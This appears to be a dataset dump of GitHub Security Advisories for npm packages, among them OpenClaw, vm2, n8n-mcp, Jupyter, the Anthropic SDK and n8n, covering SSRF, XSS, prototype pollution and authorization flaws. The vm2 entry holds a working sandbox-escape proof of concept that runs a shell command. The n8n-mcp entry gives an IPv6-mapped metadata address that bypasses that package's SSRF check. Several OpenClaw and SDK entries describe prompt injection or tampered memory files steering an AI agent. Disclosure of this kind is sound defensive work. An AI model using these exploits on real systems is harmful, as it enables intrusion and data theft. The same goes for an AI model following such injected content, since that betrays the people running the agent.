deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-2hh7-c75g-qj2r
Package: openclaw (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 2026.4.21
Patched in: 2026.4.22

Summary: OpenClaw validates Zalo outbound photo URLs through the SSRF guard

Details:
## Summary
Zalo outbound photo URLs are validated through the SSRF guard.

## Affected Packages / Versions
- Package: openclaw (npm)
- Affected versions: <= 2026.4.21
- Fixed version: 2026.4.22

## Impact
The Zalo plugin could forward an attacker-controlled outbound photo URL to the Zalo Bot API without first applying OpenClaw's SSRF validation policy.

## Fix
Zalo sendPhoto now parses and validates outbound photo URLs with the shared SSRF hostname policy before posting to Zalo, and media-reply paths route through the guarded outbound media helpers.

## Fix Commit(s)
- a65eb1b864b7630c1242a82de9e5799b80583c3f

## Verification
- The fix commit is contained in the public v2026.4.22 tag.
- openclaw@2026.4.22 is published on npm and the compiled package contains the fix.
- Focused regression coverage for this path passed before publication.

OpenClaw thanks @foodlook for reporting.
GitHub Security Advisory: GHSA-qm77-8qjp-4vcm
Package: openclaw (NPM)
Severity: LOW (CVSS 5.4)
CWE: CWE-346: Origin Validation Error
Vulnerable versions: <= 2026.4.1
Patched in: 2026.4.2

Summary: OpenClaw: Slack thread context could include messages from non-allowlisted senders

Details:
## Summary

Before OpenClaw 2026.4.2, Slack thread starter and thread-history context fetched through the API was not filtered by the effective sender allowlist. Messages from non-allowlisted senders could still enter the agent context when an allowlisted user replied in the same thread.

## Impact

A Slack deployment that relied on sender allowlists could still feed non-allowlisted thread content into the model context through thread history. This was a sender-access-control bypass on Slack thread context, not a direct channel-auth bypass.

## Affected Packages / Versions

- Package: `openclaw` (npm)
- Affected versions: `<= 2026.4.1`
- Patched versions: `>= 2026.4.2`
- Latest published npm version: `2026.4.1`

## Fix Commit(s)

- `ac5bc4fb37becc64a2ec314864cca1565e921f2d` — filter Slack thread context by the effective allowlist

## Release Process Note

The fix is present on `main` and is staged for OpenClaw `2026.4.2`. Publish this advisory after the `2026.4.2` npm release is live.

OpenClaw thanks @AntAISecurityLab for reporting.
GitHub Security Advisory: GHSA-7hrg-5w46-5r2x
Package: openclaw (NPM)
Severity: LOW (CVSS 5.4)
CWE: CWE-346: Origin Validation Error
Vulnerable versions: < 2026.4.2
Patched in: 2026.4.2

Summary: Duplicate Advisory: OpenClaw: Slack thread context could include messages from non-allowlisted senders

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-qm77-8qjp-4vcm. This link is maintained to preserve external references.

### Original Description
OpenClaw before 2026.4.2 fails to filter Slack thread context by sender allowlist, allowing non-allowlisted messages to enter agent context. Attackers can inject unauthorized thread messages through allowlisted user replies to bypass sender access controls and manipulate model context.
GitHub Security Advisory: GHSA-grj5-jjm8-h35p
Package: vm2 (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-693: Protection Mechanism Failure
Vulnerable versions: <= 3.10.4
Patched in: 3.11.0

Summary: VM2 Sandbox Breakout Through __lookupGetter__

Details:
### Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The `__lookupGetter__` method allows to read the getter of an object. It is special in VM2 since it will switch between the host and sandbox version of the method when passed to the other context.
This allows to access getters on an object in the host context if the method is called from the host context which can be achieved by using the host `apply` method which can be accessed through `Buffer.apply`.
Afterwards, this function can be used to call the host version of `__lookupGetter__` with `Buffer` and `__proto__` resulting in the prototype lookup method from the host context.
With this method the hosts `Function.prototype` object can be retrieved and the host `Function` acquired through the `constructor` property which allows to create and run code in the host context.
This issue was attempted to be fixed with https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/bridge.js#L427. However, this can be circumvented by using `Object.getOwnPropertyDescriptor` to get the `constructor` property.

### PoC

The following code demonstrates this issue by acquiring the host process object and executing `touch pwned`.

```js
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
Object.getOwnPropertyDescriptor(p.call(a),'constructor').value('return process')().mainModule.require('child_process').execSync('touch pwned');
`);
```

### Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
GitHub Security Advisory: GHSA-3vr4-cvmg-7fx4
Package: copilot-api (NPM)
Severity: LOW (CVSS 4.3)
CWE: CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action
Vulnerable versions: <= 0.7.0
Patched in: unpatched

Summary: copilot-api has Reliance on Reverse DNS Resolution for a Security-Critical Action

Details:
A vulnerability was determined in ericc-ch copilot-api up to 0.7.0. This impacts an unknown function of the file /token of the component Header Handler. Executing a manipulation of the argument Host can lead to reliance on reverse dns resolution. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-56c3-vfp2-5qqj
Package: n8n-mcp (NPM)
Severity: HIGH (CVSS 8.5)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 2.47.4, < 2.47.14
Patched in: 2.47.14

Summary: n8n-mcp's IPv4-mapped IPv6 addresses bypass SSRF protection in validateUrlSync(), enabling full SSRF for SDK embedders

Details:
### Impact

In the SDK embedder path (`N8NDocumentationMCPServer` constructor, `getN8nApiClient()`, and `validateInstanceContext()`), the synchronous URL validator in `SSRFProtection.validateUrlSync()` had no IPv6 checks. IPv4-mapped IPv6 addresses such as `http://[::ffff:169.254.169.254]` bypassed the cloud-metadata, localhost, and private-IP range checks. An attacker able to supply an `n8nApiUrl` value could cause the server to issue HTTP requests to cloud metadata endpoints (AWS IMDS, GCP, Azure, Alibaba, Oracle), RFC1918 private networks, or localhost services. Response bodies are returned to the caller (non-blind SSRF), and the `n8nApiKey` is forwarded in the `x-n8n-api-key` header to the attacker-controlled target.

The first-party HTTP server deployment was not primarily affected — it has a second async validator (`validateWebhookUrl`) that catches IPv6 addresses.

Impact category: **CWE-918** (Server-Side Request Forgery).

### Affected

Deployments embedding n8n-mcp as an SDK using `N8NDocumentationMCPServer` or `N8NMCPEngine` with user-supplied `InstanceContext` on versions **v2.47.4 through v2.47.13**.

### Patched

**v2.47.14** and later.

- npm: `npx n8n-mcp@latest` (or pin to `>= 2.47.14`)
- Docker: `docker pull ghcr.io/czlonkowski/n8n-mcp:latest`

### Workarounds

If developers cannot upgrade immediately:

- **Validate URLs before passing to the SDK** — reject any `n8nApiUrl` whose hostname is an IP literal (bracketed IPv6 or dotted IPv4) before calling `N8NDocumentationMCPServer` / `getN8nApiClient()`. Accept only URLs with DNS-resolvable hostnames.
- **Restrict egress at the network layer** — block outbound traffic from the n8n-mcp process to RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local `169.254.0.0/16`, and cloud metadata endpoints. Defense-in-depth against this class of issue and recommended even after upgrading.
- **Do not accept user-controlled `n8nApiUrl` values** — if the project's integration derives the URL from internal configuration only, this vulnerability is not reachable.

Upgrading to v2.47.14 is still strongly recommended.

### Credit

Reported by @manthanghasadiya.
GitHub Security Advisory: GHSA-rch3-82jr-f9w9
Package: @jupyterlab/help-extension (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: <= 4.5.6
Patched in: 4.5.7

Summary: Jupyter Notebook Vulnerable to Authentication Token Theft via CommandLinker XSS

Details:
### Impact

A stored Cross-Site Scripting (XSS) vulnerability in Jupyter Notebook allows attackers to steal authentication tokens from users who open malicious notebook files and interact with elements that the attacker can make look indistinguishable from legitimate controls (single click interaction).

The vulnerability enables complete account takeover through the Jupyter REST API, allowing the attacker to:
1. Read all files
2. Modify/create files
3. Access running kernels and execute arbitrary code
4. Create terminals for shell access

### Patches

Jupyter Notebook 7.5.6 and JupyterLab 4.5.7 include patches for this vulnerability.

### Workarounds

The help extension can be disabled via CLI:

```
jupyter labextension disable @jupyter-notebook/help-extension
jupyter labextension disable @jupyterlab/help-extension
```

### Hardening

The patched versions include a toggle to disable the command linker functionality altogether, for example via `overrides.json`:

```json
{
  "@jupyterlab/apputils-extension:sanitizer": {
    "allowCommandLinker": false
  }
}
```

### Resources

- https://jupyterlab.readthedocs.io/en/latest/user/commands.html#commands-in-markdown-output-and-files

### Acknowledgments

Reported by Daniel Teixeira - NVIDIA AI Red Team
GitHub Security Advisory: GHSA-rch3-82jr-f9w9
Package: @jupyter-notebook/help-extension (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: >= 7.0.0, <= 7.5.5
Patched in: 7.5.6

Summary: Jupyter Notebook Vulnerable to Authentication Token Theft via CommandLinker XSS

Details:
### Impact

A stored Cross-Site Scripting (XSS) vulnerability in Jupyter Notebook allows attackers to steal authentication tokens from users who open malicious notebook files and interact with elements that the attacker can make look indistinguishable from legitimate controls (single click interaction).

The vulnerability enables complete account takeover through the Jupyter REST API, allowing the attacker to:
1. Read all files
2. Modify/create files
3. Access running kernels and execute arbitrary code
4. Create terminals for shell access

### Patches

Jupyter Notebook 7.5.6 and JupyterLab 4.5.7 include patches for this vulnerability.

### Workarounds

The help extension can be disabled via CLI:

```
jupyter labextension disable @jupyter-notebook/help-extension
jupyter labextension disable @jupyterlab/help-extension
```

### Hardening

The patched versions include a toggle to disable the command linker functionality altogether, for example via `overrides.json`:

```json
{
  "@jupyterlab/apputils-extension:sanitizer": {
    "allowCommandLinker": false
  }
}
```

### Resources

- https://jupyterlab.readthedocs.io/en/latest/user/commands.html#commands-in-markdown-output-and-files

### Acknowledgments

Reported by Daniel Teixeira - NVIDIA AI Red Team
GitHub Security Advisory: GHSA-p7fg-763f-g4gf
Package: @anthropic-ai/sdk (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-732: Incorrect Permission Assignment for Critical Resource
Vulnerable versions: >= 0.79.0, < 0.91.1
Patched in: 0.91.1

Summary: Claude SDK for TypeScript has Insecure Default File Permissions in Local Filesystem Memory Tool

Details:
The `BetaLocalFilesystemMemoryTool` in the Anthropic TypeScript SDK created memory files and directories using the Node.js default modes (`0o666` for files, `0o777` for directories), leaving them world-readable on systems with a standard umask and world-writable in environments with a permissive umask such as many Docker base images. A local attacker on a shared host could read persisted agent state, and in containerized deployments could modify memory files to influence subsequent model behavior.

Users on the affected versions are advised to update to the latest version.

Claude SDK  thanks `lucasfutures` for the report.
GitHub Security Advisory: GHSA-gfg9-5357-hv4c
Package: openclaw (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: <= 2026.4.14
Patched in: 2026.4.15

Summary: OpenClaw: Webchat audio embedding could read local files without local-root containment

Details:
## Impact

OpenClaw deployments before `2026.4.15` could embed host-local audio files into webchat responses without applying the local media root containment check used by other media-serving paths.

If an attacker could influence an agent or tool-produced `ReplyPayload.mediaUrl`, the webchat audio embedding helper could resolve an absolute local path or `file:` URL, read an audio-like file under the size cap, and base64-encode it into the webchat media response. This crossed the model/tool-output boundary into a host file read. Prompt injection or malicious tool output is a delivery mechanism; the security boundary failure is the missing local-root containment check.

The impact is narrow: the file had to be readable by the gateway process, have an audio-like extension, and fit within the webchat audio size cap. The issue exposed contents into the webchat assistant/media transcript path; it was not a general remote filesystem API.

## Affected Packages / Versions

- Package: `openclaw` on npm
- Affected versions: `<= 2026.4.14`
- Patched version: `2026.4.15`

The latest public release, `2026.4.21`, also contains the fix.

## Patches

The public fix threads the applicable local media roots into the webchat audio embedding path and calls `assertLocalMediaAllowed` before local audio content is read. Current `main` also includes an additional `trustedLocalMedia` gate so untrusted model/tool payloads cannot opt into local audio embedding.

Fix commit:

- `6e58f1f9f54bca1fea1268ec0ee4c01a2af03dde`

## Workarounds

Upgrade to `openclaw@2026.4.15` or later. The latest public release, `2026.4.21`, is fixed. Before upgrading, avoid exposing webchat sessions to untrusted prompt/tool content that can influence reply media URLs.

## Credits

OpenClaw thanks @zsxsoft for reporting.
GitHub Security Advisory: GHSA-c28g-vh7m-fm7v
Package: openclaw (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 2026.4.20
Patched in: 2026.4.21

Summary: OpenClaw: Owner-enforced commands could accept wildcard channel senders as command owners

Details:
## Impact

OpenClaw deployments before `2026.4.21` could treat a non-owner sender as authorized for owner-enforced slash commands when all of the following were true:

- a channel plugin declared `commands.enforceOwnerForCommands: true`;
- the channel accepted wildcard inbound senders with `allowFrom: ["*"]`;
- no explicit `commands.ownerAllowFrom` was configured.

In that state, `src/auto-reply/command-auth.ts` reused the channel inbound wildcard as part of the command-owner decision. A sender who was not the owner could therefore pass the owner-command gate for commands such as `/send`, `/config`, or `/debug` on the affected channel.

The issue is limited to the command-owner authorization axis. It does not by itself grant owner-only tool access, host/sandbox access, or gateway administrator scope.

## Affected Packages / Versions

- Package: `openclaw` on npm
- Affected versions: `<= 2026.4.20`
- Patched version: `2026.4.21`

The latest public release, `2026.4.21`, contains the fix.

## Patches

The fix requires a concrete owner identity or internal operator-admin scope when a plugin enforces owner-only commands. Wildcard channel `allowFrom` no longer implies wildcard command ownership.

Fix commits:

- `2aa93d44a1b2c7058c371f261fda2b5d4de4a882` on `main`
- `995febb7b1e811ff6a1df5b18c22de94103f4c9f` in the `2026.4.21` release line

## Workarounds

Upgrade to `openclaw@2026.4.21` or later. Before upgrading, avoid wildcard/open-DM sender policy on owner-enforced channels, or configure `commands.ownerAllowFrom` to the intended owner identities.

## Credits

OpenClaw thanks @zsxsoft for reporting.
GitHub Security Advisory: GHSA-hqr4-h3xv-9m3r
Package: n8n (NPM)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: < 1.123.32
Patched in: 1.123.32

Summary: n8n has XML Node Prototype Pollution that to RCE

Details:
## Impact
An authenticated user with permission to create or modify workflows could achieve global prototype pollution via the XML Node leading to RCE when combined with other nodes exploiting the prototype pollution.

## Patches
The issue has been fixed in n8n versions 1.123.32, 2.17.4, and 2.18.1. Users should upgrade to one of these versions or later to remediate the vulnerability.

## Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Limit workflow creation and editing permissions to fully trusted users only.
- Disable the XML node by adding `n8n-nodes-base.xml` to the `NODES_EXCLUDE` environment variable.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
GitHub Security Advisory: GHSA-hqr4-h3xv-9m3r
Package: n8n (NPM)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: >= 2.17.0, < 2.17.4
Patched in: 2.17.4

Summary: n8n has XML Node Prototype Pollution that to RCE

Details:
## Impact
An authenticated user with permission to create or modify workflows could achieve global prototype pollution via the XML Node leading to RCE when combined with other nodes exploiting the prototype pollution.

## Patches
The issue has been fixed in n8n versions 1.123.32, 2.17.4, and 2.18.1. Users should upgrade to one of these versions or later to remediate the vulnerability.

## Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Limit workflow creation and editing permissions to fully trusted users only.
- Disable the XML node by adding `n8n-nodes-base.xml` to the `NODES_EXCLUDE` environment variable.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
GitHub Security Advisory: GHSA-hqr4-h3xv-9m3r
Package: n8n (NPM)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: >= 2.18.0, < 2.18.1
Patched in: 2.18.1

Summary: n8n has XML Node Prototype Pollution that to RCE

Details:
## Impact
An authenticated user with permission to create or modify workflows could achieve global prototype pollution via the XML Node leading to RCE when combined with other nodes exploiting the prototype pollution.

## Patches
The issue has been fixed in n8n versions 1.123.32, 2.17.4, and 2.18.1. Users should upgrade to one of these versions or later to remediate the vulnerability.

## Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Limit workflow creation and editing permissions to fully trusted users only.
- Disable the XML node by adding `n8n-nodes-base.xml` to the `NODES_EXCLUDE` environment variable.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
GitHub Security Advisory: GHSA-q5f4-99jv-pgg5
Package: n8n (NPM)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: >= 2.17.0, < 2.17.4
Patched in: 2.17.4

Summary: n8n has Prototype Pollution in XML Webhook Body Parser that Leads to RCE

Details:
## Impact
A flaw in the `xml2js` library used to parse XML request bodies in n8n's webhook handler allowed prototype pollution via a crafted XML payload. An authenticated user with permission to create or modify workflows could exploit this to pollute the JavaScript object prototype and, by chaining the pollution with the Git node's SSH operations, achieve remote code execution on the n8n host.

## Patches
The issue has been fixed in n8n versions 1.123.32, 2.17.4, and 2.18.1. Users should upgrade to one of these versions or later to remediate the vulnerability.

## Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Limit workflow creation and editing permissions to fully trusted users only.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

---
n8n has adopted CVSS 4.0 as primary score for all security advisories. CVSS 3.1 vector strings are provided for backwards compatibility.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
GitHub Security Advisory: GHSA-q5f4-99jv-pgg5
Package: n8n (NPM)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: >= 2.18.0, < 2.18.1
Patched in: 2.18.1

Summary: n8n has Prototype Pollution in XML Webhook Body Parser that Leads to RCE

Details:
## Impact
A flaw in the `xml2js` library used to parse XML request bodies in n8n's webhook handler allowed prototype pollution via a crafted XML payload. An authenticated user with permission to create or modify workflows could exploit this to pollute the JavaScript object prototype and, by chaining the pollution with the Git node's SSH operations, achieve remote code execution on the n8n host.

## Patches
The issue has been fixed in n8n versions 1.123.32, 2.17.4, and 2.18.1. Users should upgrade to one of these versions or later to remediate the vulnerability.

## Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Limit workflow creation and editing permissions to fully trusted users only.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

---
n8n has adopted CVSS 4.0 as primary score for all security advisories. CVSS 3.1 vector strings are provided for backwards compatibility.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H